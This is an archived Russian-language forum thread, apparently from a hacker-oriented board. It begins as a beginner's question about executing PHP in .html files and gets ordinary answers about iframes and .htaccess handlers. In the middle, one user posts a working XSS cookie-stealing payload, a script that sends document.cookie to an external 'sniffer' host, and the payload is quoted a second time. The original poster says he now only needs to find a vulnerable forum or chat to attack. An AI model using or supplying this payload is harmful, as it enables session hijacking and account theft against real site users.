Просмотр полной версии : Php в Html
Murt@zaa
29.09.2006, 00:06
Не судите если подобный вопрос уже задавался.
Проблема такая: если создавать php файл соответственно с php кодом и запускать его то все выполняется без проблем а вот если создавать html файл и вписывать туда php код то при открытии ни че не выполняется. При чем в html файле ввожу все как надо
<script language="php"> к о д с к р и п т а </script>
Пожалуйста подскажите очень нужно!
<html>
<?php
код;
?>
</html>
Murt@zaa
29.09.2006, 00:13
Все равно не выходит. может у меня с настройкой апача че то не то?
Php будет выполняться в расширении *.php
тоесть создай пхп файл и смотри пример Рочи...
Или же создай пхп файл например: script.php
В html файле используй код: <iframe src=script.php>
Murt@zaa
29.09.2006, 00:43
Не получатся.
То ли у меня руки кривые , то ли еще не пришло время познать все это, то ли я хочу того чего не может быть вовсе.
У тя вообще поддреживает php?
Вот короче пример 1:
Создай файл index.php c содержанием:
<html><head>
<title>PHP and HTML #1</title></head>
<body>
<center><h1>Пример #1</h1>
<?php
echo "<b>Этот текст нарисовал скрипт!</b>";
?>
<i>А этот нет...</i>
</html>
Пример 2:
Создай 2 файла: index.html и script.php
Содерание script.php
<?php
echo "Привет от PHP!";
?>
--------
Содержание index.html
<html><head>
<title>PHP and HTML #2</title></head>
<body>
<center><h1>Пример #2</h1>
<iframe src=script.php frameborder=0>
<i>Привет от html</i>
</html>
Я не понимаю, что те исчо нуна?
Попробуй тут почитать.
http://wcode.ru/php/58/
Там с примерами.
Не забудь Денвер поставить или PHP Editor какой-нибудь =)
Murt@zaa
29.09.2006, 13:42
Мне необходимо было выполнить код php именно в файле с расширением .html но теперь Я ПОНЯЛ что это не возможно. Просто знаете я здесь размечтался че то, думал что получится вместо javasript'a в html впихнуть php код , например при пассивных XSS вместо alerta вставить phpinfo...
P.S.: Бывает. Фантазия у меня очень развитая:))
Можно и это. Читай про mod_rewrite в .htaccess
nc.STRIEM
29.09.2006, 21:38
Мне необходимо было выполнить код php именно в файле с расширением .html но теперь Я ПОНЯЛ что это не возможно. Просто знаете я здесь размечтался че то, думал что получится вместо javasript'a в html впихнуть php код , например при пассивных XSS вместо alerta вставить phpinfo...
P.S.: Бывает. Фантазия у меня очень развитая:))
SMIX правильно сказал, такое возможно есле имееш доступ к .htaccess или може его залить!
А методами XSS неполучеться, т.к. php скрипт выполняеться непосредственно на сервере после чего результат передаеться брауеру, а html и жаба выполняються в браузере пользователя! Поэтому даж есле ты и вставиш при помоши пасивной XSS php код, ниче не произойдет, он будет восприниматься как обычный текст!
Дык он наверное снифак хотел в html-страницу сунуть. Тогда все получится.
Murt@zaa
29.09.2006, 21:52
А можно поподробнее про снифер??
nc.STRIEM
29.09.2006, 22:05
НУ для сниффера PHP в html страничке не нужен! для этого вставляеться JavaScript
вот пример: <script>img = new Image(); img.src = "http://tkv.xost.ru/s/s.gif?"+document.cookie;</script>
где http://tkv.xost.ru/s/s.gif адрес сниффера!
Murt@zaa
29.09.2006, 22:11
Теперь я все знаю:)) осталось найти уязвимый форум, чат и т.д. :((
nc.STRIEM
29.09.2006, 22:20
Теперь я все знаю
Есле че буду у тя спрашивать!))
Murt@zaa
29.09.2006, 22:26
nc.STRIEM обращайся по любому вопросу. В долгу не останусь :)
НУ для сниффера PHP в html страничке не нужен! для этого вставляеться JavaScript
вот пример: <script>img = new Image(); img.src = "http://tkv.xost.ru/s/s.gif?"+document.cookie;</script>
где http://tkv.xost.ru/s/s.gif адрес сниффера!
нет, он, кажется, именно код скрипта, который записывает кукисы в файл/базу/отправляетнамыло. А на форуме/чате идет фильтр по например динамическим ссылкам или расширению пхп...
Ребят помогите засунуть данный код в html файл
<?php
error_reporting(0);
# путь к файлу
$fname = '';
# заголовок страницы
$title = '';
# инфа в визуале
# (если строка пустая, то не отображается)
# (можно использовать теги и сделать визуал многострочным)
$visual = '
<h1></h1>
Admin: <a href=""></a><br>
Downloads MyAC: <a href="">for Internet</a> & <a href="">for Local</a> users<br/>
<a href="">Games Portal/Игровой портал</a><br/>
<a href="">Forum/Форум</a><br/>
<a href="">AMXBANS/Бан лист</a><br/>
';
?>
<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title><?php print $title; ?></title>
<link rel="stylesheet" type="text/css" href="main.css">
</head>
<body>
<div class="body_header">
<?php
if ($visual != '') { print $visual; }
?>
</div>
<br>
<table width="100%">
<tr class="darkcell">
<td colspan="7" style="text-align: left;">Список забаненных:</td>
</tr>
<tr class="selectedcell">
<td class="headercell">Дата</td>
<td class="headercell">Ник*</td>
<td class="headercell">IP</td>
<td class="headercell">Время бана</td>
<td class="headercell">Осталось</td>
<td class="headercell">Забанен до</td>
<td class="headercell">Причина</td>
</tr>
<?php
if (file_exists($fname)) {
if ($f = @fopen($fname, 'r')) {
$lines = @file($fname);
$lines_counter = count(@file($fname));
for ($i = 0; $i < $lines_counter; $i++) {
$str = $lines[$i];
list($part1,$hdd_sn,$trash,$name,$part3,$reason) = explode('"', $str);
if ($name == '') { $name = 'Player'; }
list($reason,$trash) = explode(' (', $reason);
list($status,$date,$time) = explode(' ', $part1);
list($trash,$ip,$duration) = explode(' ', $part3);
list($day,$month,$year) = explode('.', $date);
list($h,$min,$sec) = explode(':', $time);
$datetime = mktime($h,$min,$sec,$month,$day,$year);
$duration_h = $duration / 60;
$duration_d = $duration_h / 24;
$datetime_unban = date('d.m.y H:i:s',($datetime+$duration*60));
$remaining_time_min = round((($datetime+$duration*60)-date('U'))/60);
$remaining_time_h = round($remaining_time_min / 60);
$remaining_time_d = round($remaining_time_h / 24);
if ($status == '+') {
print"<tr class=\"selectedcell\"><td>$date $time</td><td>$name</td><td>$ip</td><td alt=\"$duration_h ч. или $duration_d дн.\" title=\"$duration_h ч. или $duration_d дн.\">$duration мин.</td><td alt=\"$remaining_time_h ч. или $remaining_time_d дн.\" title=\"$remaining_time_h ч. или $remaining_time_d дн.\">$remaining_time_min мин.</td><td>$datetime_unban</td><td>$reason</td></tr>";
}
}
} else { print "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; }
@fclose($f);
} else { print "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; }
?>
УМОЛЯЮ !!!!!!!!!!!!!!!
попробуй вписать это в хтасес
RemoveHandler .html .htm
AddType application/x-httpd-php .php .htm .html .phtml добавим выполнение php кода в html
Ребят я вас умоляю!
В php вообще не соображаю!
Просто помогите мне засунуть данный php код в html файл
<?php
error_reporting(0);
# путь к файлу
$fname = '';
# заголовок страницы
$title = '';
# инфа в визуале
# (если строка пустая, то не отображается)
# (можно использовать теги и сделать визуал многострочным)
$visual = '
<h1></h1>
Admin: <a href=""></a><br>
Downloads MyAC: <a href="">for Internet</a> & <a href="">for Local</a> users<br/>
<a href="">Games Portal/Игровой портал</a><br/>
<a href="">Forum/Форум</a><br/>
<a href="">AMXBANS/Бан лист</a><br/>
';
?>
<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title><?php print $title; ?></title>
<link rel="stylesheet" type="text/css" href="main.css">
</head>
<body>
<div class="body_header">
<?php
if ($visual != '') { print $visual; }
?>
</div>
<br>
<table width="100%">
<tr class="darkcell">
<td colspan="7" style="text-align: left;">Список забаненных:</td>
</tr>
<tr class="selectedcell">
<td class="headercell">Дата</td>
<td class="headercell">Ник*</td>
<td class="headercell">IP</td>
<td class="headercell">Время бана</td>
<td class="headercell">Осталось</td>
<td class="headercell">Забанен до</td>
<td class="headercell">Причина</td>
</tr>
<?php
if (file_exists($fname)) {
if ($f = @fopen($fname, 'r')) {
$lines = @file($fname);
$lines_counter = count(@file($fname));
for ($i = 0; $i < $lines_counter; $i++) {
$str = $lines[$i];
list($part1,$hdd_sn,$trash,$name,$part3,$reason) = explode('"', $str);
if ($name == '') { $name = 'Player'; }
list($reason,$trash) = explode(' (', $reason);
list($status,$date,$time) = explode(' ', $part1);
list($trash,$ip,$duration) = explode(' ', $part3);
list($day,$month,$year) = explode('.', $date);
list($h,$min,$sec) = explode(':', $time);
$datetime = mktime($h,$min,$sec,$month,$day,$year);
$duration_h = $duration / 60;
$duration_d = $duration_h / 24;
$datetime_unban = date('d.m.y H:i:s',($datetime+$duration*60));
$remaining_time_min = round((($datetime+$duration*60)-date('U'))/60);
$remaining_time_h = round($remaining_time_min / 60);
$remaining_time_d = round($remaining_time_h / 24);
if ($status == '+') {
print"<tr class=\"selectedcell\"><td>$date $time</td><td>$name</td><td>$ip</td><td alt=\"$duration_h ч. или $duration_d дн.\" title=\"$duration_h ч. или $duration_d дн.\">$duration мин.</td><td alt=\"$remaining_time_h ч. или $remaining_time_d дн.\" title=\"$remaining_time_h ч. или $remaining_time_d дн.\">$remaining_time_min мин.</td><td>$datetime_unban</td><td>$reason</td></tr>";
}
}
} else { print "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; }
@fclose($f);
} else { print "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; }
?>
mR_LiNK[deface_0nl
30.04.2007, 23:48
Ребят я вас умоляю!
В php вообще не соображаю!
Просто помогите мне засунуть данный php код в html файл
Тебе genom уже расписал все что нун сделать..
Осталось только найти у себя файл '.htaccess'
и дополнить строкой указаний на обработку скриптов в расширении html..
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot